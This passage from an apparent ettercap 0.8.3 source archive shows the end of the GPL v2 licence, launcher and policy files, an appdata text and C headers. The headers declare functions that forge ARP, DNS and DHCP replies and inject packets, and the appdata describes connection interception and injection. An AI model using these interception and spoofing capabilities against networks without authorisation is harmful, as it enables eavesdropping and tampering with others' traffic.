entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. ettercap-0.8.3/TODO.TESTING0000644000175000017500000000041513505247364015000 0ustar koeppeakoeppea================================= THINGS THAT NEED TO BE TESTED ================================= + WIFI - test the decoder with adapters other than cisco aironet + Core - Check the checksumming code as it reports invalid checksum on some packets ettercap-0.8.3/desktop/0000755000175000017500000000000013505247364014645 5ustar koeppeakoeppeaettercap-0.8.3/desktop/ettercap-pkexec0000755000175000017500000000007213505247364017656 0ustar koeppeakoeppea#!/bin/sh pkexec --disable-internal-agent "ettercap" "$@" ettercap-0.8.3/desktop/org.pkexec.ettercap.policy.in0000644000175000017500000000132613505247364022350 0ustar koeppeakoeppea Authentication is required to run Ettercap ettercap auth_admin auth_admin auth_admin @INSTALL_BINDIR@/ettercap true ettercap-0.8.3/desktop/CMakeLists.txt0000644000175000017500000000063213505247364017406 0ustar koeppeakoeppeaif(ENABLE_GTK) configure_file(org.pkexec.ettercap.policy.in ${PKEXEC_INSTALL_WRAPPER}.policy @ONLY) install(FILES ${CMAKE_CURRENT_BINARY_DIR}/${PKEXEC_INSTALL_WRAPPER}.policy DESTINATION ${POLKIT_DIR}) install(FILES ettercap.desktop DESTINATION ${DESKTOP_DIR}) install(FILES ettercap.appdata.xml DESTINATION ${APPDATA_DIR}) install(PROGRAMS ettercap-pkexec DESTINATION ${INSTALL_BINDIR}) endif() ettercap-0.8.3/desktop/ettercap.desktop0000644000175000017500000000033313505247364020046 0ustar koeppeakoeppea[Desktop Entry] Name=Ettercap Comment=Multipurpose Network sniffer/analyser/interceptor/logger Exec=ettercap-pkexec -G Icon=ettercap Terminal=false Type=Application Categories=Network; Keywords=ettercap,ettercap-pkexec ettercap-0.8.3/desktop/ettercap.appdata.xml0000644000175000017500000000271213505247364020611 0ustar koeppeakoeppea ettercap.desktop CC0-1.0 GPL-2.0 Ettercap Multipurpose Network sniffer/analyser/interceptor/logger

    Ettercap supports active and passive dissection of many protocols (even encrypted ones) and includes many feature for network and host analysis. Data injection in an established connection and filtering (substitute or drop a packet) on the fly is also possible, keeping the connection synchronized.

    Many sniffing modes are implemented, for a powerful and complete sniffing suite. It is possible to sniff in four modes: IP Based, MAC Based, ARP Based (full-duplex) and PublicARP Based (half-duplex). Ettercap also has the ability to detect a switched LAN, and to use OS fingerprints (active or passive) to find the geometry of the LAN.

    http://ettercap.github.io/ettercap/screenshots/Screenshot-1.png http://ettercap.github.io/ettercap/screenshots/Screenshot-2.png http://ettercap.github.io/ettercap/ ettercap.project@gmail.com
    ettercap-0.8.3/include/0000755000175000017500000000000013505247364014617 5ustar koeppeakoeppeaettercap-0.8.3/include/ec_libettercap.h0000644000175000017500000000062513505247364017740 0ustar koeppeakoeppea#ifndef ETTERCAP_LIBETTERCAP_H #define ETTERCAP_LIBETTERCAP_H #include #include #include EC_API_EXTERN void libettercap_init(char* program, char* version); EC_API_EXTERN void libettercap_load_conf(void); EC_API_EXTERN void libettercap_ui_init(void); EC_API_EXTERN void libettercap_ui_start(void); EC_API_EXTERN void libettercap_ui_cleanup(void); #endif /* EOF */ ettercap-0.8.3/include/ec_services.h0000644000175000017500000000031513505247364017261 0ustar koeppeakoeppea#ifndef ETTERCAP_SERVICES_H #define ETTERCAP_SERVICES_H EC_API_EXTERN int services_init(void); EC_API_EXTERN char * service_search(u_int32 serv, u_int8 proto); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_send.h0000644000175000017500000000601413505247364016371 0ustar koeppeakoeppea#ifndef ETTERCAP_SEND_H #define ETTERCAP_SEND_H #include #include #include #include EC_API_EXTERN int send_to_L2(struct packet_object *po); EC_API_EXTERN int send_to_L3(struct packet_object *po); EC_API_EXTERN int send_to_bridge(struct packet_object *po); EC_API_EXTERN int send_to_iface(struct packet_object *po, struct iface_env *iface); EC_API_EXTERN int send_arp(u_char type, struct ip_addr *sip, u_int8 *smac, struct ip_addr *tip, u_int8 *tmac); EC_API_EXTERN int send_L2_icmp_echo(u_char type, struct ip_addr *sip, struct ip_addr *tip, u_int8 *tmac); EC_API_EXTERN int send_L3_icmp(u_char type, struct ip_addr *sip, struct ip_addr *tip); EC_API_EXTERN int send_L3_icmp_echo(struct ip_addr *src, struct ip_addr *tgt); EC_API_EXTERN int send_icmp_redir(u_char type, struct ip_addr *sip, struct ip_addr *gw, struct packet_object *po); EC_API_EXTERN int send_dhcp_reply(struct ip_addr *sip, struct ip_addr *tip, u_int8 *tmac, u_int8 *dhcp_hdr, u_int8 *options, size_t optlen); EC_API_EXTERN int send_dns_reply(struct iface_env *iface, u_int16 dport, struct ip_addr *sip, struct ip_addr *tip, u_int8 *tmac, u_int16 id, u_int8 *data, size_t datalen, u_int16 anws_rr, u_int16 auth_rr, u_int16 addi_rr); EC_API_EXTERN int send_mdns_reply(struct iface_env *iface, u_int16 dport, struct ip_addr *sip, struct ip_addr *tip, u_int8 *tmac, u_int16 id, u_int8 *data, size_t datalen, u_int16 anws_rr, u_int16 auth_rr, u_int16 addi_rr); EC_API_EXTERN int send_tcp(struct ip_addr *sip, struct ip_addr *tip, u_int16 sport, u_int16 dport, u_int32 seq, u_int32 ack, u_int8 flags, u_int8 *payload, size_t length); EC_API_EXTERN int send_udp(struct ip_addr *sip, struct ip_addr *tip, u_int8 *tmac, u_int16 sport, u_int16 dport, u_int8 *payload, size_t length); EC_API_EXTERN int send_tcp_ether(u_int8 *dmac, struct ip_addr *sip, struct ip_addr *tip, u_int16 sport, u_int16 dport, u_int32 seq, u_int32 ack, u_int8 flags); EC_API_EXTERN int send_L3_icmp_unreach(struct packet_object *po); #ifdef WITH_IPV6 EC_API_EXTERN int send_L3_icmp6_echo(struct ip_addr *sip, struct ip_addr *tip); EC_API_EXTERN int send_L2_icmp6_echo(struct ip_addr *sip, struct ip_addr *tip, u_int8 *tmac); EC_API_EXTERN int send_L2_icmp6_echo_opt(struct ip_addr *sip, struct ip_addr *tip, u_int8* o_data, u_int32 o_len, u_int8 *tmac); EC_API_EXTERN int send_L2_icmp6_nsol(struct ip_addr *sip, struct ip_addr *tip, struct ip_addr *tgt, u_int8 *macaddr, u_int8 *tmac); EC_API_EXTERN int send_L2_icmp6_nadv(struct ip_addr *sip, struct ip_addr *tip, u_int8 *macaddr, int router, u_int8 *tmac); #endif EC_API_EXTERN void capture_only_incoming(pcap_t *p, libnet_t *l); EC_API_EXTERN u_int8 MEDIA_BROADCAST[MEDIA_ADDR_LEN]; EC_API_EXTERN u_int8 ARP_BROADCAST[MEDIA_ADDR_LEN]; #define FUNC_BUILDER(func) libnet_ptag_t func(u_int8 *dst, u_int16 proto, libnet_t* l) #define FUNC_BUILDER_PTR(func) libnet_ptag_t (*func)(u_int8 *dst, u_int16 proto, libnet_t* l) EC_API_EXTERN void add_builder(u_int8 dlt, FUNC_BUILDER_PTR(builder)); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_fingerprint.h0000644000175000017500000000515513505247364017774 0ustar koeppeakoeppea#ifndef ETTERCAP_FINGERPRINT_H #define ETTERCAP_FINGERPRINT_H EC_API_EXTERN int fingerprint_init(void); EC_API_EXTERN int fingerprint_search(const char *f, char *dst); EC_API_EXTERN void fingerprint_default(char *finger); EC_API_EXTERN void fingerprint_push(char *finger, int param, int value); EC_API_EXTERN u_int8 TTL_PREDICTOR(u_int8 x); EC_API_EXTERN int fingerprint_submit(const char *finger, char *os); /* * The fingerprint database has the following structure: * * WWWW:MSS:TTL:WS:S:N:D:T:F:LEN:OS * * WWWW: 4 digit hex field indicating the TCP Window Size * MSS : 4 digit hex field indicating the TCP Option Maximum Segment Size * if omitted in the packet or unknown it is "_MSS" * TTL : 2 digit hex field indicating the IP Time To Live * WS : 2 digit hex field indicating the TCP Option Window Scale * if omitted in the packet or unknown it is "WS" * S : 1 digit field indicating if the TCP Option SACK permitted is true * N : 1 digit field indicating if the TCP Options contain a NOP * D : 1 digit field indicating if the IP Don't Fragment flag is set * T : 1 digit field indicating if the TCP Timestamp is present * F : 1 digit ascii field indicating the flag of the packet * S = SYN * A = SYN + ACK * LEN : 2 digit hex field indicating the length of the packet * if irrilevant or unknown it is "LT" * OS : an ascii string representing the OS */ enum { FINGER_LEN = 28, OS_LEN = 60, FINGER_WINDOW = 0, FINGER_MSS = 5, FINGER_TTL = 10, FINGER_WS = 13, FINGER_SACK = 16, FINGER_NOP = 18, FINGER_DF = 20, FINGER_TIMESTAMP = 22, FINGER_TCPFLAG = 24, FINGER_LT = 26, }; /* * the structure for passive information * carried by PO */ struct passive_info { char fingerprint[FINGER_LEN+1]; char flags; #define FP_UNKNOWN 0 /* this happen reading form a file */ #define FP_HOST_LOCAL 1 #define FP_HOST_NONLOCAL 1<<1 #define FP_GATEWAY 1<<2 #define FP_ROUTER 1<<3 }; #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_queue.h0000644000175000017500000004661413505247364016576 0ustar koeppeakoeppea /* * * added the _SAFE functions from: * $FreeBSD: queue.h,v 1.56 2003/08/14 14:49:26 kan Exp $ * * the rest is copyrighted by: */ /* $OpenBSD: queue.h,v 1.14.4.3 2003/06/07 11:09:08 ho Exp $ */ /* $NetBSD: queue.h,v 1.11 1996/05/16 05:17:14 mycroft Exp $ */ /* * Copyright (c) 1991, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)queue.h 8.5 (Berkeley) 8/20/94 */ #ifndef ETTERCAP_QUEUE_H #define ETTERCAP_QUEUE_H /* to avoid conflict with system includes */ #define _SYS_QUEUE_H_ /* Needed because SLIST_HEAD is defined in too. */ #if defined(OS_WINDOWS) #if !defined(_WINNT_H) #error Include before #endif /* */ #undef SLIST_ENTRY #endif /* * This file defines five types of data structures: singly-linked lists, * lists, simple queues, tail queues, and circular queues. * * * A singly-linked list is headed by a single forward pointer. The elements * are singly linked for minimum space and pointer manipulation overhead at * the expense of O(n) removal for arbitrary elements. New elements can be * added to the list after an existing element or at the head of the list. * Elements being removed from the head of the list should use the explicit * macro for this purpose for optimum efficiency. A singly-linked list may * only be traversed in the forward direction. Singly-linked lists are ideal * for applications with large datasets and few or no removals or for * implementing a LIFO queue. * * A list is headed by a single forward pointer (or an array of forward * pointers for a hash table header). The elements are doubly linked * so that an arbitrary element can be removed without a need to * traverse the list. New elements can be added to the list before * or after an existing element or at the head of the list. A list * may only be traversed in the forward direction. * * A simple queue is headed by a pair of pointers, one the head of the * list and the other to the tail of the list. The elements are singly * linked to save space, so elements can only be removed from the * head of the list. New elements can be added to the list before or after * an existing element, at the head of the list, or at the end of the * list. A simple queue may only be traversed in the forward direction. * * A tail queue is headed by a pair of pointers, one to the head of the * list and the other to the tail of the list. The elements are doubly * linked so that an arbitrary element can be removed without a need to * traverse the list. New elements can be added to the list before or * after an existing element, at the head of the list, or at the end of * the list. A tail queue may be traversed in either direction. * * For details on the use of these macros, see the queue(3) manual page. */ /* * Singly-linked List definitions. */ #define SLIST_HEAD(name, type) \ struct name { \ struct type *slh_first; /* first element */ \ } #define SLIST_HEAD_INITIALIZER(head) \ { NULL } #define SLIST_ENTRY(type) \ struct { \ struct type *sle_next; /* next element */ \ } /* * Singly-linked List access methods. */ #define SLIST_FIRST(head) ((head)->slh_first) #define SLIST_END(head) NULL #define SLIST_EMPTY(head) (SLIST_FIRST(head) == SLIST_END(head)) #define SLIST_NEXT(elm, field) ((elm)->field.sle_next) #define SLIST_FOREACH(var, head, field) \ for((var) = SLIST_FIRST(head); \ (var) != SLIST_END(head); \ (var) = SLIST_NEXT(var, field)) #define SLIST_FOREACH_SAFE(var, head, field, tvar) \ for ((var) = SLIST_FIRST((head)); \ (var) && ((tvar) = SLIST_NEXT((var), field), 1); \ (var) = (tvar)) /* * Singly-linked List functions. */ #define SLIST_INIT(head) { \ SLIST_FIRST(head) = SLIST_END(head); \ } #define SLIST_INSERT_AFTER(slistelm, elm, field) do { \ (elm)->field.sle_next = (slistelm)->field.sle_next; \ (slistelm)->field.sle_next = (elm); \ } while (0) #define SLIST_INSERT_HEAD(head, elm, field) do { \ (elm)->field.sle_next = (head)->slh_first; \ (head)->slh_first = (elm); \ } while (0) #define SLIST_REMOVE_HEAD(head, field) do { \ (head)->slh_first = (head)->slh_first->field.sle_next; \ } while (0) #define SLIST_REMOVE(head, elm, type, field) do { \ if ((head)->slh_first == (elm)) { \ SLIST_REMOVE_HEAD((head), field); \ } \ else { \ struct type *curelm = (head)->slh_first; \ while( curelm->field.sle_next != (elm) ) \ curelm = curelm->field.sle_next; \ curelm->field.sle_next = \ curelm->field.sle_next->field.sle_next; \ } \ } while (0) /* * List definitions. */ #define LIST_HEAD(name, type) \ struct name { \ struct type *lh_first; /* first element */ \ } #define LIST_HEAD_INITIALIZER(head) \ { NULL } #define LIST_ENTRY(type) \ struct { \ struct type *le_next; /* next element */ \ struct type **le_prev; /* address of previous next element */ \ } /* * List access methods */ #define LIST_FIRST(head) ((head)->lh_first) #define LIST_END(head) NULL #define LIST_EMPTY(head) (LIST_FIRST(head) == LIST_END(head)) #define LIST_NEXT(elm, field) ((elm)->field.le_next) #define LIST_FOREACH(var, head, field) \ for((var) = LIST_FIRST(head); \ (var)!= LIST_END(head); \ (var) = LIST_NEXT(var, field)) #define LIST_FOREACH_SAFE(var, head, field, tvar) \ for ((var) = LIST_FIRST((head)); \ (var) && ((tvar) = LIST_NEXT((var), field), 1); \ (var) = (tvar)) /* * List functions. */ #define LIST_INIT(head) do { \ LIST_FIRST(head) = LIST_END(head); \ } while (0) #define LIST_INSERT_AFTER(listelm, elm, field) do { \ if (((elm)->field.le_next = (listelm)->field.le_next) != NULL) \ (listelm)->field.le_next->field.le_prev = \ &(elm)->field.le_next; \ (listelm)->field.le_next = (elm); \ (elm)->field.le_prev = &(listelm)->field.le_next; \ } while (0) #define LIST_INSERT_BEFORE(listelm, elm, field) do { \ (elm)->field.le_prev = (listelm)->field.le_prev; \ (elm)->field.le_next = (listelm); \ *(listelm)->field.le_prev = (elm); \ (listelm)->field.le_prev = &(elm)->field.le_next; \ } while (0) #define LIST_INSERT_HEAD(head, elm, field) do { \ if (((elm)->field.le_next = (head)->lh_first) != NULL) \ (head)->lh_first->field.le_prev = &(elm)->field.le_next;\ (head)->lh_first = (elm); \ (elm)->field.le_prev = &(head)->lh_first; \ } while (0) #define LIST_REMOVE(elm, field) do { \ if ((elm)->field.le_next != NULL) \ (elm)->field.le_next->field.le_prev = \ (elm)->field.le_prev; \ *(elm)->field.le_prev = (elm)->field.le_next; \ } while (0) #define LIST_REPLACE(elm, elm2, field) do { \ if (((elm2)->field.le_next = (elm)->field.le_next) != NULL) \ (elm2)->field.le_next->field.le_prev = \ &(elm2)->field.le_next; \ (elm2)->field.le_prev = (elm)->field.le_prev; \ *(elm2)->field.le_prev = (elm2); \ } while (0) /* * Simple queue definitions. */ #define STAILQ_HEAD(name, type) \ struct name { \ struct type *sqh_first; /* first element */ \ struct type **sqh_last; /* addr of last next element */ \ } #define STAILQ_HEAD_INITIALIZER(head) \ { NULL, &(head).sqh_first } #define STAILQ_ENTRY(type) \ struct { \ struct type *sqe_next; /* next element */ \ } /* * Simple queue access methods. */ #define STAILQ_FIRST(head) ((head)->sqh_first) #define STAILQ_END(head) NULL #define STAILQ_EMPTY(head) (STAILQ_FIRST(head) == STAILQ_END(head)) #define STAILQ_NEXT(elm, field) ((elm)->field.sqe_next) #define STAILQ_FOREACH(var, head, field) \ for((var) = STAILQ_FIRST(head); \ (var) != STAILQ_END(head); \ (var) = STAILQ_NEXT(var, field)) #define STAILQ_FOREACH_SAFE(var, head, field, tvar) \ for ((var) = STAILQ_FIRST((head)); \ (var) && ((tvar) = STAILQ_NEXT((var), field), 1); \ (var) = (tvar)) /* * Simple queue functions. */ #define STAILQ_INIT(head) do { \ (head)->sqh_first = NULL; \ (head)->sqh_last = &(head)->sqh_first; \ } while (0) #define STAILQ_INSERT_HEAD(head, elm, field) do { \ if (((elm)->field.sqe_next = (head)->sqh_first) == NULL) \ (head)->sqh_last = &(elm)->field.sqe_next; \ (head)->sqh_first = (elm); \ } while (0) #define STAILQ_INSERT_TAIL(head, elm, field) do { \ (elm)->field.sqe_next = NULL; \ *(head)->sqh_last = (elm); \ (head)->sqh_last = &(elm)->field.sqe_next; \ } while (0) #define STAILQ_INSERT_AFTER(head, listelm, elm, field) do { \ if (((elm)->field.sqe_next = (listelm)->field.sqe_next) == NULL)\ (head)->sqh_last = &(elm)->field.sqe_next; \ (listelm)->field.sqe_next = (elm); \ } while (0) #define STAILQ_REMOVE_HEAD(head, elm, field) do { \ if (((head)->sqh_first = (elm)->field.sqe_next) == NULL) \ (head)->sqh_last = &(head)->sqh_first; \ } while (0) /* * Tail queue definitions. */ #define TAILQ_HEAD(name, type) \ struct name { \ struct type *tqh_first; /* first element */ \ struct type **tqh_last; /* addr of last next element */ \ } #define TAILQ_HEAD_INITIALIZER(head) \ { NULL, &(head).tqh_first } #define TAILQ_ENTRY(type) \ struct { \ struct type *tqe_next; /* next element */ \ struct type **tqe_prev; /* address of previous next element */ \ } /* * tail queue access methods */ #define TAILQ_FIRST(head) ((head)->tqh_first) #define TAILQ_END(head) NULL #define TAILQ_NEXT(elm, field) ((elm)->field.tqe_next) #define TAILQ_LAST(head, headname) \ (*(((struct headname *)((head)->tqh_last))->tqh_last)) /* XXX */ #define TAILQ_PREV(elm, headname, field) \ (*(((struct headname *)((elm)->field.tqe_prev))->tqh_last)) #define TAILQ_EMPTY(head) \ (TAILQ_FIRST(head) == TAILQ_END(head)) #define TAILQ_FOREACH(var, head, field) \ for((var) = TAILQ_FIRST(head); \ (var) != TAILQ_END(head); \ (var) = TAILQ_NEXT(var, field)) #define TAILQ_FOREACH_SAFE(var, head, field, tvar) \ for ((var) = TAILQ_FIRST((head)); \ (var) && ((tvar) = TAILQ_NEXT((var), field), 1); \ (var) = (tvar)) #define TAILQ_FOREACH_REVERSE(var, head, field, headname) \ for((var) = TAILQ_LAST(head, headname); \ (var) != TAILQ_END(head); \ (var) = TAILQ_PREV(var, headname, field)) #define TAILQ_FOREACH_REVERSE_SAFE(var, head, field, headname, tvar) \ for ((var) = TAILQ_LAST((head), headname); \ (var) && ((tvar) = TAILQ_PREV((var), headname, field), 1); \ (var) = (tvar)) /* * Tail queue functions. */ #define TAILQ_INIT(head) do { \ (head)->tqh_first = NULL; \ (head)->tqh_last = &(head)->tqh_first; \ } while (0) #define TAILQ_INSERT_HEAD(head, elm, field) do { \ if (((elm)->field.tqe_next = (head)->tqh_first) != NULL) \ (head)->tqh_first->field.tqe_prev = \ &(elm)->field.tqe_next; \ else \ (head)->tqh_last = &(elm)->field.tqe_next; \ (head)->tqh_first = (elm); \ (elm)->field.tqe_prev = &(head)->tqh_first; \ } while (0) #define TAILQ_INSERT_TAIL(head, elm, field) do { \ (elm)->field.tqe_next = NULL; \ (elm)->field.tqe_prev = (head)->tqh_last; \ *(head)->tqh_last = (elm); \ (head)->tqh_last = &(elm)->field.tqe_next; \ } while (0) #define TAILQ_INSERT_AFTER(head, listelm, elm, field) do { \ if (((elm)->field.tqe_next = (listelm)->field.tqe_next) != NULL)\ (elm)->field.tqe_next->field.tqe_prev = \ &(elm)->field.tqe_next; \ else \ (head)->tqh_last = &(elm)->field.tqe_next; \ (listelm)->field.tqe_next = (elm); \ (elm)->field.tqe_prev = &(listelm)->field.tqe_next; \ } while (0) #define TAILQ_INSERT_BEFORE(listelm, elm, field) do { \ (elm)->field.tqe_prev = (listelm)->field.tqe_prev; \ (elm)->field.tqe_next = (listelm); \ *(listelm)->field.tqe_prev = (elm); \ (listelm)->field.tqe_prev = &(elm)->field.tqe_next; \ } while (0) #define TAILQ_REMOVE(head, elm, field) do { \ if (((elm)->field.tqe_next) != NULL) \ (elm)->field.tqe_next->field.tqe_prev = \ (elm)->field.tqe_prev; \ else \ (head)->tqh_last = (elm)->field.tqe_prev; \ *(elm)->field.tqe_prev = (elm)->field.tqe_next; \ } while (0) #define TAILQ_REPLACE(head, elm, elm2, field) do { \ if (((elm2)->field.tqe_next = (elm)->field.tqe_next) != NULL) \ (elm2)->field.tqe_next->field.tqe_prev = \ &(elm2)->field.tqe_next; \ else \ (head)->tqh_last = &(elm2)->field.tqe_next; \ (elm2)->field.tqe_prev = (elm)->field.tqe_prev; \ *(elm2)->field.tqe_prev = (elm2); \ } while (0) #endif /* !_SYS_QUEUE_H_ */ ettercap-0.8.3/include/ec_update.h0000644000175000017500000000021013505247364016712 0ustar koeppeakoeppea#ifndef ETTERCAP_UPDATE_H #define ETTERCAP_UPDATE_H EC_API_EXTERN void global_update(void); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_network.h0000644000175000017500000000145413505247364017134 0ustar koeppeakoeppea#ifndef ETTERCAP_INIT_H #define ETTERCAP_INIT_H #include #include #include #include /* per interface data */ struct iface_env { char* name; struct ip_addr ip; struct ip_addr network; struct ip_addr netmask; u_int8 mac[MEDIA_ADDR_LEN]; LIST_HEAD(,net_list) ip6_list; int dlt; u_int16 mtu; u_int8 is_ready :1; u_int8 is_live :1; u_int8 has_ipv4 :1; u_int8 has_ipv6 :1; u_int8 unoffensive:1; pcap_t* pcap; libnet_t* lnet; u_char* pbuf; /* buffer to be used to handle the packet on the arriving interface*/ }; EC_API_EXTERN void network_init(); EC_API_EXTERN void secondary_sources_foreach(void (*callback)(struct iface_env*)); EC_API_EXTERN struct iface_env* iface_by_mac(u_int8 mac[MEDIA_ADDR_LEN]); #endif ettercap-0.8.3/include/ec_asn1.h0000644000175000017500000000540013505247364016300 0ustar koeppeakoeppea/* * ASN.1 DER parsing * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include #include #include #ifndef ETTERCAP_ASN1_H #define ETTERCAP_ASN1_H #define ASN1_TAG_EOC 0x00 /* not used with DER */ #define ASN1_TAG_BOOLEAN 0x01 #define ASN1_TAG_INTEGER 0x02 #define ASN1_TAG_BITSTRING 0x03 #define ASN1_TAG_OCTETSTRING 0x04 #define ASN1_TAG_NULL 0x05 #define ASN1_TAG_OID 0x06 #define ASN1_TAG_OBJECT_DESCRIPTOR 0x07 /* not yet parsed */ #define ASN1_TAG_EXTERNAL 0x08 /* not yet parsed */ #define ASN1_TAG_REAL 0x09 /* not yet parsed */ #define ASN1_TAG_ENUMERATED 0x0A /* not yet parsed */ #define ASN1_TAG_UTF8STRING 0x0C /* not yet parsed */ #define ANS1_TAG_RELATIVE_OID 0x0D #define ASN1_TAG_SEQUENCE 0x10 /* shall be constructed */ #define ASN1_TAG_SET 0x11 #define ASN1_TAG_NUMERICSTRING 0x12 /* not yet parsed */ #define ASN1_TAG_PRINTABLESTRING 0x13 #define ASN1_TAG_TG1STRING 0x14 /* not yet parsed */ #define ASN1_TAG_VIDEOTEXSTRING 0x15 /* not yet parsed */ #define ASN1_TAG_IA5STRING 0x16 #define ASN1_TAG_UTCTIME 0x17 #define ASN1_TAG_GENERALIZEDTIME 0x18 /* not yet parsed */ #define ASN1_TAG_GRAPHICSTRING 0x19 /* not yet parsed */ #define ASN1_TAG_VISIBLESTRING 0x1A #define ASN1_TAG_GENERALSTRING 0x1B /* not yet parsed */ #define ASN1_TAG_UNIVERSALSTRING 0x1C /* not yet parsed */ #define ASN1_TAG_BMPSTRING 0x1D /* not yet parsed */ #define ASN1_CLASS_UNIVERSAL 0 #define ASN1_CLASS_APPLICATION 1 #define ASN1_CLASS_CONTEXT_SPECIFIC 2 #define ASN1_CLASS_PRIVATE 3 struct asn1_hdr { uint8_t *payload; uint8_t identifier, class, constructed; unsigned int tag, length; }; #define 